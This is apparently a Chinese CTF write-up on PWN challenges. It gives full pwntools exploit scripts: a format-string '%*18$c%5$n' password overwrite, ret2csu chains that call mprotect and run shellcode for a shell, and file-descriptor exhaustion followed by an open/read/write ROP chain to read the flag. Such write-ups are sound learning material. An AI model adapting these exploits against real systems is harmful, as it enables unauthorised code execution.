最近看了一下上次安恒五月赛没做出的几道PWN题,感觉自己水平还是不够,还要多学习
easybabystack(格式化字符串*, ret2csu)
这题有个栈溢出漏洞
但是必须输入正确的密码,否则就直接退出了
还有个格式化字符串漏洞
字符串长度为12
由于密码是/dev/urandom生成的,无法预测。
这里需要利用格式化字符串漏洞的’*'号
%*num$d从栈中取变量作为N
比如num$处的值是0x100,那么这个格式化字符串就相当于%256d
而密码位于18$
的位置,我们使用%*18$c
就可以打印出密码那么长的字符串,然后%5$n
写到输入的密码处即可
不过这里如果密码太大可能会失败,需要多试几次,数字比较小的时候容易成功
完成后用ret2csu就能getshell
from pwn import *
#r = remote("183.129.189.60", 10001)
r = process("./easybabystack")
context(arch='amd64', os='linux', log_level='debug')
DEBUG = 1
if DEBUG:
gdb.attach(r,
'''
b *0x4014A5
b *0x401512
b *0x4016C7
b *0x401726
b *0x40171D
c
''')
r.recvuntil("username: ")
#name = '%p:%p:%p:%p\n'
#name = '%6$p\n'
name = '%*18$c%5$n\n'
r.send(name)
r.recvuntil("passwd: ")
r.sendline('123')
csu1 = 0x40172A
csu2 = 0x401710
mprotect_got = 0x404050
bss = 0x4040D0
read_got = 0x404038
r.recvuntil("message: ")
payload = p64(1)*35
payload += p64(csu1) + p64(0) + p64(1) + p64(0x404000) + p64(0x1000) + p64(7) + p64(mprotect_got) + p64(csu2)
payload += p64(csu1) + p64(0) + p64(1) + p64(0) + p64(bss) + p64(0x1000) + p64(read_got) + p64(csu2)
payload += p64(0)*7 + p64(bss)
r.sendline(payload)
sleep(1)
payload = asm(shellcraft.sh())
r.sendline(payload)
r.interactive()
secret2(文件描述符个数)
C语言中文件描述符只有1024个,为0-1023,本题open之后并没有close,在文件描述符耗尽之后读入均为’\x00’,最后还是利用ret2csu,但是只能orw不能getshell
不能getshell的原因如下:
- 如果程序运行到最后执行system,此时文件描述符已经耗尽,而execve还是system好像会执行open,所以不能成功
- 运行到栈溢出的地方,此时关闭了stdin,估计是这里的问题
from pwn import *
#r = remote("183.129.189.60", 10051)
r = process("./secret2")
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x401487
b *0x401601
c
''')
context.log_level = 'debug'
elf = ELF("./secret2")
r.recvuntil('name?')
pop_rdi = 0x40161b
pop_rsi_r15 = 0x401619
csu1 = 0x401612
csu2 = 0x4015F8
system = elf.plt['system']
system_got = elf.got['system']
open_plt = elf.plt['open']
read_got = elf.got['read']
write_got = elf.got['write']
bss = 0x4040B0
sh = 0x4021EA
flag = 0x4021DE
payload = 'a'*9
#payload += p64(pop_rdi) + p64(sh) + p64(system)
payload += p64(pop_rdi) + p64(flag) + p64(pop_rsi_r15) + p64(0)*2 + p64(open_plt)
payload += p64(csu1) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss) + p64(0x50) + p64(csu2)
payload += p64(csu1) + p64(0) + p64(1) + p64(write_got) + p64(1) + p64(bss) + p64(0x50) + p64(csu2)
r.sendline(payload)
for i in range(1024):
r.recvuntil("Secret:")
r.sendline('KMFL')
for i in range(234):
r.recvuntil("Secret:")
r.send(p64(0))
r.interactive()
happyending(libc2.29 off-by-null)
这题暂时还没有看,主要是调试libc2.29太麻烦,先贴一个看雪上面的解析,之后填坑
glibc2.29下的off-by-null